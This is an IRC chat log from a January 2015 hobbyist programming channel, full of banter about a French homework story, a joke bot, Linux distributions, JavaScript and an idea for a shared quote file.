[2015-01-19T20:25:51-0500] <nezorg> the guy in the hat in today's xkcd comic
[2015-01-19T20:25:55-0500] <nezorg> sounds like me
[2015-01-19T20:26:35-0500] <+Tamini> ooh
[2015-01-19T20:26:39-0500] <+Tamini> i need to read that, right
[2015-01-19T20:26:54-0500] <+hardmath123> the other guy would be me, saying the same thing but looking at jacob's code instead of a fly.
[2015-01-19T20:27:07-0500] <+hardmath123> "Hey, look at that weird bug!"
[2015-01-19T20:27:09-0500] <+Tamini> shh
[2015-01-19T20:27:10-0500] <+Tamini> lemme read first
[2015-01-19T20:27:30-0500] <+Tamini> loool
[2015-01-19T20:27:34-0500] <+Tamini> yep, sounds like nezorg
[2015-01-19T20:28:15-0500] <nezorg> technically you have no idea what he sounds like
[2015-01-19T20:30:01-0500] <+hardmath123> Hey, look, an off-by-one error!
[2015-01-19T20:30:08-0500] <+hardmath123> this needs to be a bot
[2015-01-19T20:30:37-0500] <+hardmath123> "if message.startsWith(/technically/i) {say("Hey, look at this cool bug!"); }"
[2015-01-19T20:32:03-0500] <+Tamini> implement in bucket, nezorg! :D
[2015-01-19T20:32:09-0500] <+Tamini> you need to start working ont hat bot
[2015-01-19T20:32:13-0500] <nezorg> I ahve
[2015-01-19T20:32:15-0500] <nezorg> *have
[2015-01-19T20:32:19-0500] <nezorg> but
[2015-01-19T20:32:25-0500] <nezorg> haskell is too cool for me to write it easily
[2015-01-19T20:33:04-0500] JacobEdelman (uid15877@pdgn-dot.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-01-19T20:33:52-0500] <+Tamini> its okay
[2015-01-19T20:33:54-0500] <+Tamini> you are cooler
[2015-01-19T20:34:00-0500] <+Tamini> you can defeat the beast
[2015-01-19T20:43:54-0500] <+hardmath123> i'm getting a decent amount of entertainment out of viewing random pastebin pastes
[2015-01-19T20:45:33-0500] <+Tamini> LOL
[2015-01-19T20:45:38-0500] <+Tamini> im laughing
[2015-01-19T20:45:39-0500] <+Tamini> hysterically
[2015-01-19T20:45:41-0500] <+Tamini> at 
[2015-01-19T20:45:42-0500] <+Tamini> your story
[2015-01-19T20:45:47-0500] <+hardmath123> :(
[2015-01-19T20:45:48-0500] <+Tamini> i only understand like
[2015-01-19T20:45:50-0500] <+Tamini> every other word
[2015-01-19T20:45:55-0500] <+Tamini> but its so funny
[2015-01-19T20:46:01-0500] <+Tamini> from what i can tell of it
[2015-01-19T20:46:08-0500] <+hardmath123> It's a serious story! A heart-wrenching drama of love and loss.
[2015-01-19T20:46:16-0500] <+hardmath123> You're clearly reading it wrong.
[2015-01-19T20:46:17-0500] <+Tamini> yes
[2015-01-19T20:46:55-0500] <+Tamini> im reading the anonymous manifesto
[2015-01-19T20:52:32-0500] <+Tamini> this is so amazing, hardmath123
[2015-01-19T20:52:42-0500] <+Tamini> upon getting the translation, it has gotten more apazing
[2015-01-19T20:52:55-0500] <+hardmath123> lol thanks <3
[2015-01-19T20:55:29-0500] <@awe> [20:32:25]  <nezorg>	haskell is too cool for me to write it easily
[2015-01-19T20:55:31-0500] <@awe> nezorg: lol'd
[2015-01-19T20:56:13-0500] <alokpathy> hardmath123: This French is pretty good
[2015-01-19T20:56:23-0500] <alokpathy> I'm also surprised I could read it after not Frenching for so long xD
[2015-01-19T20:56:25-0500] <@awe> hardmath123: I can see?
[2015-01-19T20:57:11-0500] <nezorg> oh hey this exists https://github.com/barrucadu/irc-conduit
[2015-01-19T20:57:17-0500] <nezorg> maybe I'll just build on top of that...
[2015-01-19T20:57:34-0500] <+hardmath123> nezorg: wait for me to write an IRC plugin for hamelin!
[2015-01-19T20:57:42-0500] <+hardmath123> then write it in haskell
[2015-01-19T20:58:11-0500] <nezorg> no, the bot I'm thinking of making wouldn't be covered by hamelin, I don't think
[2015-01-19T20:58:23-0500] <LittleBobbyTables> Wow nezorg
[2015-01-19T20:58:29-0500] <LittleBobbyTables> I just had a game where the enemy hated me so much
[2015-01-19T20:58:43-0500] <LittleBobbyTables> Was mid as shadow fiend, enemy ganked me like 10 times in the early game
[2015-01-19T20:58:46-0500] <+hardmath123> nezorg: why not?
[2015-01-19T20:58:58-0500] <LittleBobbyTables> died 4 of those times, picked up a kill every time, sometimes a double
[2015-01-19T20:59:05-0500] <nezorg> LittleBobbyTables: A+
[2015-01-19T20:59:06-0500] <LittleBobbyTables> They got mad because "mid fed sf" lol
[2015-01-19T20:59:35-0500] <nezorg> hardmath123: does hamelin feed *all* irc messages?
[2015-01-19T20:59:42-0500] <nezorg> and how does it give metadata
[2015-01-19T20:59:50-0500] <+hardmath123> it will feed you anything said in the channel
[2015-01-19T21:00:26-0500] <+hardmath123> awe: http://pastebin.com/qPUhmvak feel free to fix my grammar before i print it out
[2015-01-19T21:00:28-0500] <+hardmath123> :P
[2015-01-19T21:01:54-0500] <+Tamini> lolol
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[2015-01-19T21:02:01-0500] Pidgey sets mode +v JacobEdelman
[2015-01-19T21:02:01-0500] <+Tamini> awe: rate how funny you find it after
[2015-01-19T21:03:06-0500] <+hardmath123> keeping in mind that it's supposed to be a heart-wrenching drama of love and loss.
[2015-01-19T21:03:10-0500] <@awe> 0/10 funny
[2015-01-19T21:03:14-0500] <@awe> 0/10 drama
[2015-01-19T21:03:20-0500] <@awe> Maybe 1/10 drama
[2015-01-19T21:03:36-0500] <@awe> I felt nothing about these characters.
[2015-01-19T21:03:50-0500] <+hardmath123> :(
[2015-01-19T21:04:16-0500] <+hardmath123> awe clearly has a heart of stone
[2015-01-19T21:04:37-0500] <alokpathy> hardmath123: It just needs more buzzwords.
[2015-01-19T21:04:54-0500] <alokpathy> Try "working at Google startup on Big Data"
[2015-01-19T21:04:55-0500] <ubuntor> it's all in the performance
[2015-01-19T21:05:05-0500] <alokpathy> "with Rust"
[2015-01-19T21:05:09-0500] <alokpathy> There, no he'll like it.
[2015-01-19T21:05:12-0500] <alokpathy> now*
[2015-01-19T21:05:19-0500] <alokpathy> wow my typing has deteriorated lately.
[2015-01-19T21:05:39-0500] <+Tamini> you're being influecned like jacob
[2015-01-19T21:05:42-0500] <+Tamini> ...as am i, apparently
[2015-01-19T21:05:56-0500] <+hardmath123> clearlyyyyyyyyy
[2015-01-19T21:06:06-0500] <+JacobEdelman> comenting on my own lack of right to correct people on lacking commas: "(to be fair I already missed a comma in this sentence I think oh wait now it's 4 commas)"
[2015-01-19T21:07:35-0500] <+Tamini> by jacob*
[2015-01-19T21:07:37-0500] <+Tamini> what the hell
[2015-01-19T21:07:42-0500] <+Tamini> jacob what are you doing to me bro
[2015-01-19T21:10:30-0500] <@awe> The quality of English in this channel is suffering deeply.
[2015-01-19T21:10:46-0500] <+JacobEdelman> hmm... yes, and it's been in the few hours I have been gone for days
[2015-01-19T21:12:38-0500] <+JacobEdelman> oh,,,, I get it the average english ability always stays the same it's just that when I was gone my english ability was spread among multiple people also this sentence _does_ have the right amount of commas
[2015-01-19T21:13:55-0500] <+JacobEdelman> lli evah ot krow revo emit ot serever eht egamad
[2015-01-19T21:16:03-0500] <+JacobEdelman> hardmath123: who drama thing did I miss?
[2015-01-19T21:16:07-0500] <+JacobEdelman> *what
[2015-01-19T21:19:18-0500] <+hardmath123> i wrote a love story in french
[2015-01-19T21:19:22-0500] <+hardmath123> involving Tamini 
[2015-01-19T21:20:46-0500] <@awe> and nezorg
[2015-01-19T21:21:23-0500] <@awe> JacobEdelman: That being said, your commas were poorly distributed.
[2015-01-19T21:26:55-0500] <+Tamini> gaah
[2015-01-19T21:26:57-0500] <+Tamini> i cant tolerate
[2015-01-19T21:27:04-0500] <+Tamini> this english assignment
[2015-01-19T21:27:16-0500] <alokpathy> Tamini: Just write it in French :P
[2015-01-19T21:28:15-0500] <+Tamini> hey im still proud of myself
[2015-01-19T21:28:20-0500] <+Tamini> for reading like half of it
[2015-01-19T21:28:24-0500] <+Tamini> duolingo is boss
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[2015-01-19T21:48:51-0500] <nezorg> ...wait what involving me
[2015-01-19T21:49:05-0500] <@awe> nezorg: his story.
[2015-01-19T21:49:07-0500] <nezorg> (meant to be parsed as "wait what, it involves me?")
[2015-01-19T21:49:16-0500] <@awe> Well, I assumed so?
[2015-01-19T21:49:35-0500] <@awe> Tamini's lover in the story is named John.
[2015-01-19T21:49:37-0500] <+hardmath123> awe: http://backtick.town/~kc/poems/awe.txt
[2015-01-19T21:49:54-0500] <+hardmath123> wait, nezorg <=> john? O_o
[2015-01-19T21:50:00-0500] <@awe> hardmath123: lol, thanks.
[2015-01-19T21:50:44-0500] <nezorg> yes, my name is john :P
[2015-01-19T21:50:50-0500] <nezorg> who were you thinking of?
[2015-01-19T21:51:22-0500] <nezorg> hardmath123: ^
[2015-01-19T21:51:22-0500] <+hardmath123> nobody, i asked her for a name :P
[2015-01-19T21:51:24-0500] <nezorg> oh
[2015-01-19T21:51:26-0500] <+hardmath123> she ran a prng
[2015-01-19T21:51:31-0500] <nezorg> ...lol
[2015-01-19T21:51:37-0500] <+Tamini> hey
[2015-01-19T21:51:42-0500] <alokpathy> Wow LOL
[2015-01-19T21:51:44-0500] <+Tamini> he asked for a name that could viably be french
[2015-01-19T21:51:56-0500] <nezorg> ...why not jean?
[2015-01-19T21:52:05-0500] <+Tamini> I rolled random.choice{john,jacob,aaron} k
[2015-01-19T21:52:05-0500] <alokpathy> Or Gustav
[2015-01-19T21:52:15-0500] <+Tamini> alokpathy: he asked for someone from pdgn
[2015-01-19T21:52:19-0500] <alokpathy> Wow not Alok?
[2015-01-19T21:52:23-0500] <@awe> So, the lover is indeed nezorg.
[2015-01-19T21:52:23-0500] <alokpathy> Alok's clearly a French name.
[2015-01-19T21:52:28-0500] <+Tamini> that was my first choice
[2015-01-19T21:52:32-0500] <nezorg> I've never heard john referred to as french
[2015-01-19T21:52:33-0500] <+Tamini> then he told me it wasnt french enough
[2015-01-19T21:52:33-0500] <+Tamini> LOL
[2015-01-19T21:53:06-0500] <@awe> It isn't.
[2015-01-19T21:53:11-0500] <@awe> It's Jean.
[2015-01-19T21:53:12-0500] <@awe> Always.
[2015-01-19T21:53:20-0500] <alokpathy> Yeah it's not John.
[2015-01-19T21:53:46-0500] <nezorg> how would you even decline john
[2015-01-19T21:53:49-0500] • nezorg: doesn't know french
[2015-01-19T21:53:55-0500] <+hardmath123> you don't decline in french
[2015-01-19T21:53:58-0500] <nezorg> oh
[2015-01-19T21:54:00-0500] <nezorg> that explains it
[2015-01-19T21:54:06-0500] <+Tamini> then how do you do nouns
[2015-01-19T21:54:11-0500] <+hardmath123> wait should i s/John/Jean really quick?
[2015-01-19T21:54:15-0500] <+hardmath123> i'm literally about to hit print
[2015-01-19T21:54:23-0500] <nezorg> hardmath123: no, s/John/Jean/g
[2015-01-19T21:54:52-0500] <+hardmath123> Hey, look at this cool bug!
[2015-01-19T21:55:02-0500] <nezorg> A+
[2015-01-19T21:55:03-0500] <+Tamini> :P
[2015-01-19T21:55:08-0500] <+Tamini> technically, he didnt say technically
[2015-01-19T21:55:13-0500] <+Tamini> (does it trigger it once or twice)
[2015-01-19T21:55:14-0500] <@awe> hardmath123: what do you mean?
[2015-01-19T21:55:16-0500] <@awe> hardmath123: yes you do.
[2015-01-19T21:56:02-0500] <@awe> Oh, no, I guess not.
[2015-01-19T21:56:19-0500] <@awe> Declension requires that everything changes, right?
[2015-01-19T21:56:42-0500] <+hardmath123> ok, we're beyond the point of no return
[2015-01-19T21:56:50-0500] <alokpathy> Oh look a typo
[2015-01-19T21:56:51-0500] <+hardmath123> if i don't get an A on this assignment
[2015-01-19T21:56:54-0500] <+hardmath123> i blame you all
[2015-01-19T21:56:56-0500] <+Tamini> LOL
[2015-01-19T21:56:57-0500] <+Tamini> whyy
[2015-01-19T21:57:00-0500] <+Tamini> its not our fault
[2015-01-19T21:57:16-0500] <alokpathy> hardmath123: In our defense, nobody here takes French currently :P
[2015-01-19T21:57:19-0500] <nezorg> say it's a true story
[2015-01-19T21:57:25-0500] <+Tamini> LOL
[2015-01-19T21:57:25-0500] <nezorg> Tamini is secretly in love with me
[2015-01-19T21:57:33-0500] <+Tamini> "yeah my friends ran away to california and eloped"
[2015-01-19T21:57:36-0500] <+Tamini> 10/10
[2015-01-19T21:57:41-0500] <+Tamini> nezorg: secretly? ;)
[2015-01-19T21:57:53-0500] <alokpathy> nezorg: Run while you can.
[2015-01-19T21:58:03-0500] <nezorg> s/secretly/not quite so secretly as previously thought/
[2015-01-19T21:58:11-0500] <+Tamini> alokpathy: mean D:
[2015-01-19T21:58:30-0500] <@awe> nezorg: I'm pretty sure this is actually a true story.
[2015-01-19T21:58:36-0500] <+hardmath123> nezorg: s/secretly/not quite so secretly as previously thought/g
[2015-01-19T21:58:51-0500] <nezorg> hardmath123: no, there's only one replacement, you don't need the g
[2015-01-19T21:59:03-0500] <nezorg> awe: o rly now
[2015-01-19T21:59:05-0500] <@awe> nezorg: except I don't think Tamini's mom's name is Floraine or whatever.
[2015-01-19T21:59:08-0500] • hardmath123: gives up.
[2015-01-19T21:59:09-0500] <+hardmath123> you win
[2015-01-19T21:59:11-0500] <+Tamini> yeah pretty much
[2015-01-19T21:59:26-0500] <@awe> nezorg: ya rly now
[2015-01-19T21:59:34-0500] • nezorg: is master of the technicalities
[2015-01-19T22:00:00-0500] <nezorg> awe: you sure her mom's not named that?
[2015-01-19T22:00:05-0500] <alokpathy> awe: How much longer will vear.ch run for?
[2015-01-19T22:00:47-0500] <@awe> nezorg: not entirely.
[2015-01-19T22:00:56-0500] <@awe> nezorg: but fairly.
[2015-01-19T22:00:59-0500] <@awe> alokpathy: I don't know.
[2015-01-19T22:01:11-0500] <nezorg> Tamini: if I ever randomly meet your mom I'll call her floraine
[2015-01-19T22:01:16-0500] <alokpathy> JacobEdelman: How much longer will vear.ch run for?
[2015-01-19T22:01:18-0500] <+Tamini> LOL alright
[2015-01-19T22:05:01-0500] <@awe> So, has anyone other than alokpathy been sexually harassed by awebot yet?
[2015-01-19T22:05:09-0500] <+Tamini> just jacob
[2015-01-19T22:05:36-0500] <@awe> Did it seriously happen to Jacob? Or are you referring to his comment about Pidgey that inspired the plugin?
[2015-01-19T22:05:52-0500] <+hardmath123> Wait, so it seriously happened to alokpathy ?
[2015-01-19T22:05:57-0500] <@awe> Uhh...
[2015-01-19T22:05:58-0500] <@awe> What?
[2015-01-19T22:05:59-0500] <@awe> No.
[2015-01-19T22:06:01-0500] <@awe> Huh?
[2015-01-19T22:06:09-0500] <+Tamini> awebot is sentient
[2015-01-19T22:06:20-0500] <calc0000> awebot is just awe saying what he wants to say
[2015-01-19T22:06:25-0500] <+Tamini> whoa
[2015-01-19T22:06:26-0500] <+Tamini> who's that?
[2015-01-19T22:06:33-0500] <calc0000> i am calc0000
[2015-01-19T22:06:37-0500] <@awe> Oh shit, they're on to me.
[2015-01-19T22:07:43-0500] <+Tamini> calc0000: this would've been so much easier if you would've just told me :P
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[2015-01-19T22:08:00-0500] awe (awe@irc.pdgn.co) joined the channel
[2015-01-19T22:08:00-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-19T22:08:00-0500] Set by Tamini on January 18, 2015 at 3:16:32 PM EST
[2015-01-19T22:08:00-0500] Pidgey sets mode +o awe
[2015-01-19T22:08:00-0500] Mode is +ns
[2015-01-19T22:08:02-0500] <+hardmath123> @whois calc0000 
[2015-01-19T22:08:02-0500] <awebot> hardmath123: I don't know who calc0000 is.
[2015-01-19T22:08:06-0500] <+hardmath123> ...
[2015-01-19T22:08:20-0500] <+Tamini> hardmath123: use ur pro doxxing skillz
[2015-01-19T22:08:20-0500] <calc0000> lol
[2015-01-19T22:08:35-0500] <+hardmath123> i'm considering grepping weechat logs for your join
[2015-01-19T22:08:40-0500] <+Tamini> Joe Witterschlenbagen
[2015-01-19T22:08:43-0500] <+hardmath123> but i don't see what good that would do
[2015-01-19T22:08:46-0500] <+Tamini> :I
[2015-01-19T22:09:07-0500] awebot (awebot@pdgn-4jd.4t2.2bemd8.IP) left IRC (Connection closed)
[2015-01-19T22:09:09-0500] <+Tamini> aw
[2015-01-19T22:09:15-0500] <+Tamini> what happened to awebot D:
[2015-01-19T22:11:00-0500] awebot (awebot@pdgn-4jd.4t2.2bemd8.IP) joined the channel
[2015-01-19T22:11:05-0500] <jwoglom> *awe
[2015-01-19T22:11:10-0500] <@awe> Yeah?
[2015-01-19T22:11:22-0500] <jwoglom> awe: as in "awe what happened to awebot"
[2015-01-19T22:11:28-0500] <@awe> Ah.
[2015-01-19T22:11:43-0500] <+hardmath123> Tamini: calc0000 joined after you said "duolingo is boss"
[2015-01-19T22:11:44-0500] <jwoglom> can't imagine you've heard that one before :P
[2015-01-19T22:11:55-0500] awebot (awebot@pdgn-4jd.4t2.2bemd8.IP) left IRC (Connection closed)
[2015-01-19T22:11:58-0500] <+Tamini> oh whoa
[2015-01-19T22:11:58-0500] <+Tamini> lol
[2015-01-19T22:12:02-0500] <+Tamini> but really, where did he come from
[2015-01-19T22:12:08-0500] awebot (awebot@pdgn-4jd.4t2.2bemd8.IP) joined the channel
[2015-01-19T22:12:09-0500] <+Tamini> identify yourself, fiend >:O
[2015-01-19T22:12:18-0500] <alokpathy> hardmath123: Yeah it actually happened
[2015-01-19T22:12:56-0500] <alokpathy> Monday, January 19th, 2015
[2015-01-19T22:12:56-0500] <alokpathy> 4:35 PM <awebot> You've got 206 bones in your body. Want one more?
[2015-01-19T22:12:56-0500] <alokpathy> 4:35 PM <alokpathy> `:|
[2015-01-19T22:12:56-0500] <alokpathy> 4:35 PM <alokpathy> No please
[2015-01-19T22:13:15-0500] <+hardmath123> O_o
[2015-01-19T22:16:02-0500] <@awe> He's faking it.
[2015-01-19T22:16:07-0500] <@awe> Those aren't real logs.
[2015-01-19T22:17:00-0500] <+Tamini> lol
[2015-01-19T22:17:17-0500] <@awe> awebot: join #rust
[2015-01-19T22:18:33-0500] <alokpathy> awe: Don't cover it up!
[2015-01-19T22:18:35-0500] <alokpathy> I know you're lying.
[2015-01-19T22:18:44-0500] <@awe> He's definitely faking those logs.
[2015-01-19T22:18:50-0500] <@awe> There's no way awebot would do something like that.
[2015-01-19T22:18:53-0500] <@awe> He's normally very well-behaved.
[2015-01-19T22:18:59-0500] <@awe> Except for calling everyone a meatbag.
[2015-01-19T22:19:15-0500] <+Tamini> lol
[2015-01-19T22:19:32-0500] <jwoglom> awe: does he ever suggest "kill all humans"? :P
[2015-01-19T22:19:33-0500] <@awe> Actually, I'm going to do that.
[2015-01-19T22:19:56-0500] <alokpathy> http://i.imgur.com/U0Jfqsh.png
[2015-01-19T22:20:18-0500] <@awe> jwoglom: Not yet.
[2015-01-19T22:20:36-0500] <calc0000> @whois Tamini
[2015-01-19T22:20:36-0500] <awebot> calc0000: Tamini is a robot. beep boop
[2015-01-19T22:20:44-0500] <jwoglom> @whois awebot
[2015-01-19T22:20:44-0500] <awebot> jwoglom: awebot is just your friendly neighborhood Spiderman.
[2015-01-19T22:20:48-0500] <calc0000> @whois awe
[2015-01-19T22:20:49-0500] <awebot> calc0000: awe is the Dark Lord of Strong, Static Typing and the Benevolent Dictator for Life of Pdgn.
[2015-01-19T22:22:26-0500] <@awe> @whois calc0000
[2015-01-19T22:22:26-0500] <awebot> awe: calc0000 is calc0000!
[2015-01-19T22:22:45-0500] <nezorg> @whois Tamini_
[2015-01-19T22:22:45-0500] <awebot> nezorg: I don't know who Tamini_ is.
[2015-01-19T22:22:52-0500] <nezorg> aww
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[2015-01-19T22:22:59-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-19T22:22:59-0500] Set by Tamini on January 18, 2015 at 3:16:32 PM EST
[2015-01-19T22:22:59-0500] Pidgey sets mode +o awe
[2015-01-19T22:22:59-0500] Mode is +ns
[2015-01-19T22:23:20-0500] <calc0000> why are you bouncing awe
[2015-01-19T22:23:33-0500] <@awe> Bouncing?
[2015-01-19T22:23:39-0500] <calc0000> leaving and re-joining
[2015-01-19T22:23:41-0500] <@awe> Oh.
[2015-01-19T22:23:48-0500] <@awe> I didn't realize ZNC would do that when I did.
[2015-01-19T22:23:55-0500] <@awe> Sometimes, I accidentally double-click the channel name.
[2015-01-19T22:24:05-0500] <@awe> Which causes me to leave.
[2015-01-19T22:24:15-0500] <nezorg> ...I've never seen it happen before
[2015-01-19T22:24:24-0500] <nezorg> but you've done it twice in the span of 10 minutes
[2015-01-19T22:24:25-0500] <jwoglom> awe: you did that earlier too
[2015-01-19T22:24:28-0500] <jwoglom> at 22:08
[2015-01-19T22:24:35-0500] <@awe> Yeah, I know.
[2015-01-19T22:24:39-0500] <nezorg> ...okay almost 10 minutes then
[2015-01-19T22:25:03-0500] <@awe> Okay, I turned off leaving on double-click for channels now.
[2015-01-19T22:25:06-0500] <@awe> So, it won't happen again.
[2015-01-19T22:25:15-0500] <jwoglom> awe: what irc client do you use? 
[2015-01-19T22:25:24-0500] <nezorg> *** awe (awe@irc.pdgn.co) has left channel #pdgn: "Textual IRC Client: www.textualapp.com"
[2015-01-19T22:25:29-0500] <@awe> ^
[2015-01-19T22:25:37-0500] <jwoglom> oh lol.
[2015-01-19T22:25:45-0500] <jwoglom> forgot about the part message
[2015-01-19T22:25:46-0500] <nezorg> he's a pleb that uses os x
[2015-01-19T22:26:02-0500] <jwoglom> i just use weechat in a screen session on my linux box :P
[2015-01-19T22:26:05-0500] <@awe> I don't have time to be fixing Linux all the time.
[2015-01-19T22:26:15-0500] <nezorg> ubuntu runs great ootb on macbook pro
[2015-01-19T22:26:17-0500] <+hardmath123> weeeeechat <3
[2015-01-19T22:26:28-0500] <@awe> I wouldn't be happy enough with Ubuntu.
[2015-01-19T22:26:33-0500] <calc0000> if you're fixing linux all the time you're doing it wrong
[2015-01-19T22:26:40-0500] <nezorg> awe: why not, compared to os x?
[2015-01-19T22:26:59-0500] <jwoglom> awe: you could go full nerd and use gentoo or arch or something 
[2015-01-19T22:27:00-0500] <@awe> calc0000: Or you're using bleeding edge.
[2015-01-19T22:27:05-0500] <@awe> I used to run Arch.
[2015-01-19T22:27:12-0500] <@awe> It was too much work.
[2015-01-19T22:27:12-0500] <calc0000> when i was on arch i only had to fix stuff like once
[2015-01-19T22:27:13-0500] <nezorg> Arch isn't full nerd, it's full hipster
[2015-01-19T22:27:18-0500] <calc0000> my server at work runs arch and it's rock solid
[2015-01-19T22:27:27-0500] <calc0000> i've rebooted it once since oct 2013
[2015-01-19T22:27:30-0500] <nezorg> ...why would you ever run arch on a server
[2015-01-19T22:27:31-0500] <@awe> DO doesn't support Arch. :(
[2015-01-19T22:27:40-0500] <jwoglom> calc0000: damn, impressive
[2015-01-19T22:27:42-0500] <+hardmath123> anyone here know what happens if i use npm publish from within a subdirectory of a git repo?
[2015-01-19T22:27:46-0500] <calc0000> nezorg: i was young and naive
[2015-01-19T22:27:49-0500] <jwoglom> but kernel updates and such
[2015-01-19T22:27:53-0500] <nezorg> calc0000: apparently
[2015-01-19T22:27:56-0500] <calc0000> that was what that reboot was for 
[2015-01-19T22:27:59-0500] <calc0000> i did a -Syu
[2015-01-19T22:28:08-0500] <@awe> Well, yeah, it won't break if you never do -Syu again.
[2015-01-19T22:28:36-0500] <calc0000> it might
[2015-01-19T22:28:39-0500] <calc0000> it didn't do it the last time
[2015-01-19T22:30:06-0500] <@awe> That's usually what causes breakage though.
[2015-01-19T22:30:47-0500] <calc0000> true
[2015-01-19T22:31:00-0500] <nezorg> ...but it's also what patches security flaws
[2015-01-19T22:32:26-0500] <@awe> I know.
[2015-01-19T22:32:29-0500] <@awe> Which is why I run it frequently.
[2015-01-19T22:33:03-0500] <nezorg> you should try nixos
[2015-01-19T22:33:20-0500] <calc0000> ooo that looked interesting
[2015-01-19T22:33:26-0500] <nezorg> (not that I've tried it)
[2015-01-19T22:33:30-0500] <nezorg> (but it does indeed look cool)
[2015-01-19T22:33:40-0500] <@awe> Nix does look cool.
[2015-01-19T22:35:03-0500] <+hardmath123> btw, if anyone cares, the answer is "it works, surprisingly enough"
[2015-01-19T22:35:50-0500] <@awe> hardmath123: unsurprising
[2015-01-19T22:35:54-0500] <@awe> hardmath123: cargo does that too
[2015-01-19T22:36:01-0500] <nezorg> no, surprising
[2015-01-19T22:36:05-0500] <nezorg> because it's javascript
[2015-01-19T22:36:06-0500] <nezorg> :P
[2015-01-19T22:36:25-0500] <@awe> Any good package manager for a language would just cd .. until it found a config file or hit /
[2015-01-19T22:36:30-0500] • nezorg: can't wait for more mainstream es6 adoption
[2015-01-19T22:37:14-0500] • awe: hates the web.
[2015-01-19T22:37:20-0500] • calc0000: hates the web
[2015-01-19T22:37:25-0500] • awe: hates the web because of JavaScript.
[2015-01-19T22:37:32-0500] • calc0000: hates javascript
[2015-01-19T22:37:38-0500] <nezorg> well it's better for making apps than qt/gtk, imo
[2015-01-19T22:37:48-0500] <@awe> HTML/CSS is nice for making UIs.
[2015-01-19T22:37:54-0500] <calc0000> no
[2015-01-19T22:38:09-0500] <@awe> I find it to be the nicest solution we currently have for making UIs in terms of ease of use and appeal of resultant product.
[2015-01-19T22:38:10-0500] <nezorg> (actually, qtquick looks nice, but I haven't tried it)
[2015-01-19T22:38:16-0500] <calc0000> awe: yes
[2015-01-19T22:38:18-0500] <@awe> That being said, what we're using to render HTML/CSS is horrible.
[2015-01-19T22:38:21-0500] <calc0000> yes
[2015-01-19T22:38:38-0500] <nezorg> yeah we're using angular for one of the projects I'm working on in the seclab
[2015-01-19T22:38:41-0500] <nezorg> at first it was nice
[2015-01-19T22:38:47-0500] <nezorg> now it's just becoming a pain
[2015-01-19T22:43:08-0500] <+hardmath123> JacobEdelman: remember when you said you wanted to help write hamelin?
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[2015-01-19T22:45:09-0500] <jwoglom> javascript is okay
[2015-01-19T22:45:13-0500] <jwoglom> but there should really be alternatives
[2015-01-19T22:45:20-0500] <jwoglom> (sadly that seems like it'll never happen)
[2015-01-19T22:45:30-0500] <nezorg> well there are... they just all compile into js
[2015-01-19T22:45:38-0500] <calc0000> that don't count
[2015-01-19T22:45:42-0500] <calc0000> that's like putting lipstick on a pig
[2015-01-19T22:45:47-0500] <calc0000> except the pig is a nuclear bomb
[2015-01-19T22:45:50-0500] <calc0000> and it's also ugly
[2015-01-19T22:46:04-0500] <nezorg> see this is why we need a proper qodb
[2015-01-19T22:46:13-0500] <jwoglom> we need qdb pls
[2015-01-19T22:46:31-0500] <jwoglom> heck just make a txt file and do it manually
[2015-01-19T22:46:37-0500] <ubuntor> ^^^
[2015-01-19T22:46:53-0500] <+Tamini> lol
[2015-01-19T22:46:56-0500] <+Tamini> we already have a qdb isnt it
[2015-01-19T22:46:58-0500] <nezorg> but it needs to be publically accessable somehow
[2015-01-19T22:47:01-0500] <+Tamini> dont we
[2015-01-19T22:47:05-0500] <+Tamini> GODDAMIT JACOB
[2015-01-19T22:47:09-0500] <+Tamini> and yeah, it does need to be
[2015-01-19T22:47:15-0500] <jwoglom> .txt file on the root of your webserver
[2015-01-19T22:47:17-0500] <jwoglom> it's not that hard :P
[2015-01-19T22:47:27-0500] <nezorg> no, but it also needs to be editable
[2015-01-19T22:47:35-0500] <nezorg> while not being vandalizable
[2015-01-19T22:47:40-0500] <jwoglom> well yeah, then some better system
[2015-01-19T22:47:42-0500] <nezorg> I know!
[2015-01-19T22:47:45-0500] <nezorg> we should have a blockchain!
[2015-01-19T22:47:52-0500] <+hardmath123> O_o
[2015-01-19T22:47:53-0500] <ubuntor> yes
[2015-01-19T22:47:54-0500] <jwoglom> yeah!
[2015-01-19T22:47:59-0500] <jwoglom> the blockchain works for everything!
[2015-01-19T22:48:05-0500] <nezorg> of course!
[2015-01-19T22:49:08-0500] <jwoglom> one day, a man will be able to sift through a blockchain to see the latest cat pictures and internet videos
[2015-01-19T22:49:12-0500] <jwoglom> now that's the future
[2015-01-19T22:50:57-0500] <nezorg> that should have been awe's pennapps project
[2015-01-19T22:51:04-0500] <nezorg> "imgur but on a blockchain"
[2015-01-19T22:51:44-0500] <nezorg> wait why did I say that
[2015-01-19T22:51:47-0500] <jwoglom> if you want to appeal to the hackathon judges then it's got to be something like hackernews
[2015-01-19T22:51:53-0500] <nezorg> now I can't make a billion dollars on a startup that does that
[2015-01-19T22:52:01-0500] <+Tamini> lol
[2015-01-19T22:52:03-0500] <+Tamini> yes
[2015-01-19T22:52:07-0500] <jwoglom> muhahahaha consider your idea stolen
[2015-01-19T22:52:08-0500] <+Tamini> we can all make a startup
[2015-01-19T22:52:18-0500] <nezorg> we should build the pdgn incubator
[2015-01-19T22:52:39-0500] <+hardmath123> ok so
[2015-01-19T22:52:40-0500] <+hardmath123> for now
[2015-01-19T22:52:45-0500] <+Tamini> we need to make our ramen network first
[2015-01-19T22:52:49-0500] <jwoglom> "for a 15% stake in your business, i will offer you 100 satoshis and 3 github stickers"
[2015-01-19T22:52:50-0500] <+hardmath123> nc backtick.town 1337
[2015-01-19T22:52:53-0500] <+hardmath123> then type stuff
[2015-01-19T22:52:54-0500] <+Tamini> have you guys heard of that one?
[2015-01-19T22:52:55-0500] <+Tamini> and lol
[2015-01-19T22:52:56-0500] <+hardmath123> then send EOF
[2015-01-19T22:52:59-0500] <nezorg> Tamini: ...ramen network?
[2015-01-19T22:53:02-0500] <+hardmath123> and it accumulates in a file
[2015-01-19T22:53:06-0500] <nezorg> nice :P
[2015-01-19T22:53:11-0500] <+Tamini> nezorg: i never talked about this in front of you?
[2015-01-19T22:53:17-0500] <jwoglom> hardmath123: what's backtick's ip?
[2015-01-19T22:53:22-0500] <jwoglom> don't feel like wiping dns cache
[2015-01-19T22:53:23-0500] <nezorg> Tamini: don't think so
